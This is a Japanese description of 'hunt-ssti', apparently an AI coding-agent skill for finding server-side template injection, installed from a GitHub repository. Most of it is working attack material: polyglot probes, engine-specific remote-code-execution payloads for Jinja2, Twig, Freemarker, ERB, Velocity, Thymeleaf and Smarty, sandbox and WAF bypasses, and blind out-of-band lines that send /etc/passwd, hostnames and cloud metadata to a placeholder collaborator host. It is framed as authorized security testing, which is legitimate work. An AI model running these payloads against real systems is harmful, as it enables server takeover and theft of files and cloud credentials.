hunt-ssti について
hunt-sstiは、サーバーサイドテンプレートインジェクションを調査・検証するセキュリティテスト用スキルです。反射点の特定からテンプレートエンジンの判別、ブラインド検査、影響評価までを扱います。
主な機能
- 01ユーザー入力の反射点調査
- 02複数構文のSSTI検出プローブ
- 03テンプレートエンジンの特定
- 04ブラインドSSTIの検査
- 05エンジン別の影響拡大ガイダンス
- 06攻撃対象面と根本原因の分析
活用シーン
- 01メールやPDFテンプレート内の入力テスト
- 02CMSプレビューやプロフィール表示の検査
- 03式の挙動からテンプレートエンジンを判別
- 04許可されたテストでのブラインド注入評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-sstiインストール後、Claude Code で/hunt-sstiを入力して読み込まれたか確認します。
詳細
使用する場面
対象に、ユーザーが制御する入力をサーバーサイドのテンプレートエンジンでレンダリングするエンドポイントがある場合に使用します。SSTI は RCE への最短経路の 1 つです。検出には {{7*7}} を使うだけでよく、通常は追加のペイロード 1 つでエスカレーションできます。テンプレート式は HTML エンコードより前に評価されるため、周囲のページが適切にエスケープされていても、レンダリング結果に 49 が現れます。SSTI を確実に検出できるのはこのためです。
トリガーとなるコンテキスト: メールテンプレート(注文確認、パスワードリセット、ウェルカムメール)、PDF/レポート生成ツール、CMS のプレビュー機能(ページビルダーのプレビュー、テーマエディター)、ユーザー入力を反映するエラーページ、サーバーサイドテンプレートでレンダリングされるプロフィールの自己紹介/名前/説明フィールド、テンプレートに反映される URL パスパラメーター、補間を伴うインライン翻訳文字列。
クイックリファレンス
# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)
# Fingerprint engine
{{7*'7'}} # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7} # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %> # 49 = ERB (Ruby)
*{7*7} # 49 = Spring Thymeleaf
# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }} # Jinja2
ステップごとの調査方法
フェーズ 1 — 検出とフィンガープリンティング
-
反射ポイントの特定 — ユーザー入力がレンダリング結果に現れるすべてのフィールドを調べます。名前フィールド、自己紹介、メールテンプレート、エラーメッセージ、URL パラメーター、検索クエリなどが該当します。
-
ポリグロットプローブの送信 — 候補となる各フィールドに
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}を送信します。レスポンス本文に49があるか確認します。テンプレート式は HTML エスケープより前に評価されるため、これは信頼性の高いシグナルです。 -
エンジンのフィンガープリンティング — SSTI が確認できたら、使用されているエンジンを特定します。
{{7*'7'}}→7777777= Jinja2(Python の文字列反復);49= Twig(PHP の数値強制変換)${7*7}→49= Freemarker/Spring/Velocity/Mako<%= 7*7 %>→49= ERB(Ruby on Rails)*{7*7}→49= Thymeleaf(Spring/Java)- ヘッダー/Cookie のコンテキストでの
${7*7}→${user.name}を介して機密プロパティにアクセスできる Spring Boot
-
エラーによる情報開示の手法 — 意図的に不正な式(閉じ波括弧のない
{{badger)を送信します。エラーメッセージから、エンジン名、フレームワークのバージョン、ファイルパスが判明することがあります。 -
コンテキストの分析 — インジェクションが HTML コンテキスト、属性コンテキスト、JavaScript コンテキスト、またはブラインド(出力のみが使用され、反映されない状態)のどれに該当するかを特定します。
フェーズ 2 — RCE へのエスカレーション
エンジンを特定したら、エンジン固有の RCE ペイロードを使ってエスカレーションします。
Jinja2(Python/Flask/Django):
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}
# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}
# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}
Twig(PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
# OOB callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/twig-rce")}}
Freemarker(Java):
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# OOB
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"curl http://COLLAB/fm-rce")}
ERB(Ruby on Rails):
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>
Velocity(Java):
#set($str=$class.inspect("java.lang.String").split(""))
#set($rt=$class.inspect("java.lang.Runtime").getRuntime())
$rt.exec("id")
Spring Boot / Thymeleaf:
${T(java.lang.Runtime).getRuntime().exec("id")}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}
Smarty(PHP):
{php}echo shell_exec("id");{/php}
{system('id')}
フェーズ 3 — ブラインド SSTI の検出
SSTI の出力が反映されないもののテンプレートは評価される場合(メールテンプレート、PDF 生成など)は、OOB 検出を使用します。
# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}
# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}
# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
"curl http://COLLAB/blind-fm")}
# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>
フェーズ 4 — 連鎖
# SSTI → RCE → internal network scan
{{lipsum.__globals__.os.popen('curl http://COLLAB/$(hostname)').read()}}
# SSTI → file exfil
{{lipsum.__globals__.os.popen('curl -F "file=@/etc/passwd" http://COLLAB/exfil').read()}}
# SSTI → cloud metadata
{{lipsum.__globals__.os.popen('curl http://[REDACTED_IP]/latest/meta-data/').read()}}
攻撃対象領域のシグナル
URL/シンクのパターン:
/profile/name, /preview, /render, /email-template, /invoice, /report
?name=, ?template=, ?content=, ?body=, ?message=, ?title=
/profile/settings/bio, /admin/email-templates/edit, /cms/preview
レスポンス/エラーのシグナル:
Error: "Template '{{user_input}}' not found" → Twig (Symfony)
Error: "org.springframework.expression.spel" → Spring/Thymeleaf
Error: "Method __construct not found" → Smarty
Error: "Undefined variable: 7*7" → Smarty
Response contains rendered math expression → SSTI confirmed
技術スタックのシグナル:
X-Powered-By: Express+ Node.js → Pug、EJS、HandlebarsX-Powered-By: Phusion Passenger→ Ruby ERBServer: Apache+X-Powered-By: PHP→ Twig、SmartyServer: Apache Tomcat→ Freemarker、Velocity、Thymeleaf- Django/Flask → Jinja2(デフォルトのテンプレートエンジン)
- メールテンプレートエディター、CMS ページビルダー、PDF 生成サービス
一般的な根本原因
-
テンプレートコンテキストでユーザー入力を信頼する — 開発者が、サンドボックス化せずに、ユーザーが制御する文字列を
render_template_string()(Flask)、Template()(Jinja2)、$twig->render()(Symfony)、またはテンプレート構文を含むstr.format()に渡しています。 -
メールテンプレートのレンダリング — 注文確認メール、パスワードリセットメール、ウェルカムメールで、送信前にユーザー名や入力値をテンプレートに埋め込んでいます。SSTI はブラインド(ブラウザーに反映されず、ユーザーにメールで送られる)であるため検出が困難ですが、同様に悪用可能です。
-
CMS のプレビュー/ページビルダー機能 — テンプレートの断片を保存し、サーバー側でレンダリングするドラッグ&ドロップ式のページビルダーです。プレビューエンドポイントが SSTI の発生箇所であることがよくあります。
-
インライン翻訳システム — Rails の
t()ヘルパーと補間の組み合わせです。t('welcome', name: user_input)はデフォルトで翻訳文字列を HTML セーフとして扱うため、ロケールキーを介した SSTI が可能になります。 -
入力を反映するエラーページ — パスをテンプレートに出力する 404 ハンドラーや、エラーメッセージをテンプレートに表示する 500 エラーページです。
-
開発者向けデバッグエンドポイント —
/render、/template-test、/email-previewが本番環境で有効なままになっています。
バイパス手法
防御: 文字({、}、$)のブラックリスト化
バイパス: 別の構文を試してください。エンジンの設定に応じて、Twig の {% ... %}、Jinja2 の {% ... %}、Freemarker の <#if ...>、または別の区切り文字構文を使用します。
防御: サンドボックス化されたテンプレートエンジン
バイパス: サンドボックスの制限はエンジン固有で、不完全なことがよくあります。Jinja2 の SandboxedEnvironment では、{{lipsum.__globals__}} を試してください。lipsum 関数はデフォルトのグローバルからアクセスできます。Twig のサンドボックスでは、{{_self.env.registerUndefinedFilterCallback("exec")}} を試してください。
防御: 出力フィルタリング/HTML エンコード
バイパス: SSTI の評価は HTML エンコードより前に行われます。ページが HTML をエスケープしていても、式の結果 49 は表示されます。ブラインド実行を確認するには、OOB/DNS コールバックを使用してください。
防御: SSTI パターンをブロックする WAF
バイパス: 代替の RCE ペイロードを使用してください。たとえば、Jinja2 では {{ ... }} の代わりに {% print(...) %}、Freemarker では ${ ... } の代わりに <#assign> を使うか、複数のパラメーターにペイロードを分割します。
防御: 入力長の制限
バイパス: 短いペイロードのプリミティブを使用してください。Jinja2 の {{lipsum.__globals__.os.popen('id').read()}} は約 50 文字です。より長いチェーンには、GET パラメーターではなく POST ボディを使用してください。
実例
シナリオ A — メールテンプレートの SSTI → RCE(E コマースプラットフォーム)
大手 E コマースプラットフォームの注文確認メールには、サーバー側でレンダリングされる Jinja2 テンプレートに顧客の名前が含まれていました。攻撃者は、{{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostname)').read()}} を含むユーザー名で登録しました。注文確認メールが生成されて送信されると、テンプレートエンジンが式を評価し、システムコマンドを実行してホスト名を攻撃者のコラボレーターに送信しました。影響:メールレンダリングサーバーで RCE が発生しました。このサーバーは、顧客データベース全体と注文処理パイプラインにアクセスできる状態でした。
シナリオ B — CMS ページビルダーの SSTI(Freemarker → RCE)
Java ベースの CMS では、権限が制限された編集者がページテンプレートをプレビューできました。Freemarker テンプレートエンジンは、テンプレートフラグメント内で ${ ... } 式を使用できるように設定されていました。編集者が <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} を含むテンプレートスニペットを作成すると、プレビューのレンダリング時に実行されました。影響:編集者から CMS アプリケーションサーバー上の OS レベルの RCE へ権限が昇格しました。
シナリオ C — PDF 生成ツールの SSTI(Blind ERB → RCE)
Ruby on Rails アプリケーションでは、サーバー側テンプレートを使用して PDF の請求書を生成していました。請求書には顧客の名前と住所が含まれていました。攻撃者は、<%= system("curl -F 'data=@/etc/passwd' http://COLLAB/exfil") %> を含む住所を送信しました。PDF が生成されると、ERB テンプレートがコマンドを実行し、サーバーのパスワードファイルを外部に持ち出しました。影響:PDF 生成パイプラインにおける Blind SSTI を通じて、サーバーが完全に侵害されました。
フェーズ 5 — エンジンのフィンガープリント表
RCE を試みる前に、数式に対する差分プローブを使用してテンプレートエンジンを特定します。
| プローブ | Jinja2 | Twig | Freemarker | Velocity | ERB | EJS | Pug |
|---|---|---|---|---|---|---|---|
{{7*7}} | 49 | 49 | 49 | 49 | — | 49 | — |
${7*7} | ${7*7} | ${7*7} | 49 | 49 | — | ${7*7} | — |
<%=7*7%> | <%=7*7%> | — | — | — | 49 | 49 | — |
#{7*7} | — | — | 49*7(リテラル) | — | 49 | — | — |
a{*comment*}b | — | ab | — | — | — | — | — |
#{7*7} | — | — | — | 7*7(文字列) | — | — | — |
フェーズ 6 — エンジン固有の RCE ガジェット
Jinja2(Python):
# Class walker (no globals)
{{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['os'].popen('id').read() }}
# Attr filter bypass (WAF evasion)
{{ request|attr('application')|attr('__self__')|attr('_get_data_for_json')|attr('__self__') }}
# lipsum globals access
{{ lipsum.__globals__['os'].popen('id').read() }}
Twig(PHP):
{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
{{ ['id']|filter('system') }}
Freemarker(Java):
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}
Velocity(Java):
#set($s="") #set($stringClass=$s.getClass()) #set($rt=$stringClass.forName("java.lang.Runtime")) $rt.getRuntime().exec("id")
ERB(Ruby):
<%= `id` %>
<%= system("curl http://COLLAB/$(id)") %>
検証
このセルフテストを実行して、SSTI ハンティングの準備が整っていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。
grep -q "name: hunt-ssti" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリが設定されていることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- コード実行に至らない SSTI —
{{7*7}}が 49 を返すことは、テンプレートインジェクションの証拠です。影響を与えるには、コード実行(RCE)またはファイル読み取りにエスカレートする必要があります。 - サンドボックス化されたテンプレートエンジン — Jinja2 sandbox、Twig sandbox などでは、固有のバイパス手法が必要です。サンドボックス化されていない実行が可能だと思い込まないでください。
- テンプレートエンジンの誤認 — Jinja2、Twig、Freemarker では構文が異なります。
{{7*7}}は複数のエンジンで動作します。まずフィンガープリントを特定してください。 - Blind SSTI — 出力が返されない場合は、時間ベースまたは OOB の手法を使用します。Blind RCE には
{% import os %}{{os.popen('sleep 10').read()}}を使用します。
関連スキル
hunt-rce— SSTI は、Python/Ruby/PHP/Java のスタックで RCE を実現する最も簡単な経路です。テンプレート言語から実行環境をすでに利用できるためです。連鎖の基本形:Jinja2{{config.__class__.__init__.__globals__['os'].popen('id').read()}}または Freemarker<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}→ レンダリングワーカーとして認証なしの RCE。必ずフィンガープリントの特定 → クラスウォーカー → コマンド実行へと進めてください。hunt-xss— テンプレートエンジンが実行環境をサンドボックス化している場合(またはレンダリング後の出力が HTML として返されるだけの場合)でも、同じ{{7*7}}の反射によってストアド XSS が成立することがよくあります。連鎖の基本形:エスケープ機能のないサンドボックス化された Jinja2 SSTI → レンダリングされるメールテンプレートに<script>を注入 → メッセージを閲覧するすべての受信者に対するストアド XSS。hunt-ssrf— テンプレートエンジンでは、実行環境より先に URL フェッチャーやフィルターを利用できることが多く、RCE より先に SSRF が可能になります。連鎖の基本形:Twig{{ include('http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/') }}またはurl_for/カスタムフィルターを使う Jinja2 → AWS メタデータの窃取 → クラウド認証情報の取得。hunt-file-upload— ユーザーがアップロードした Office 文書、SVG、メールテンプレートは、一般的な SSTI の攻撃対象です(サーバーがそれらを再レンダリングします)。連鎖の基本形:word/document.xmlに${T(java.lang.Runtime).getRuntime().exec("id")}を含む DOCX を、Velocity/Freemarker で駆動するメールマージ機能にアップロード → RCE。security-arsenal— エンジン固有のエスケープ用ペイロードツリーを使用してください。Jinja2 のクラスウォーカー亜種(__subclasses__()[N]のインデックス探索)、Twig の_self.envと registerUndefinedFilterCallback、Freemarker の?new()Execute、ERB のバッククォート、Velocity の$class.inspect、Smarty の{php}...{/php}に加え、WAF バイパスの亜種({{request|attr('application')|...}}、Unicode エスケープ、{%print(...)%})も含まれます。triage-validation— Critical RCE と報告する前に、重大度判定ゲートを適用してください。サンドボックス化されたエンジン(例:Twig のサンドボックスモード、エスケープ機能のない Jinja2 SandboxedEnvironment)での{{7*7}} → 49の反射は、Medium の SSTI であり、Critical RCE ではありません。報告書を作成する前に、一意のマーカーを使ってidまたは OOB DNS コールバックを証明してください。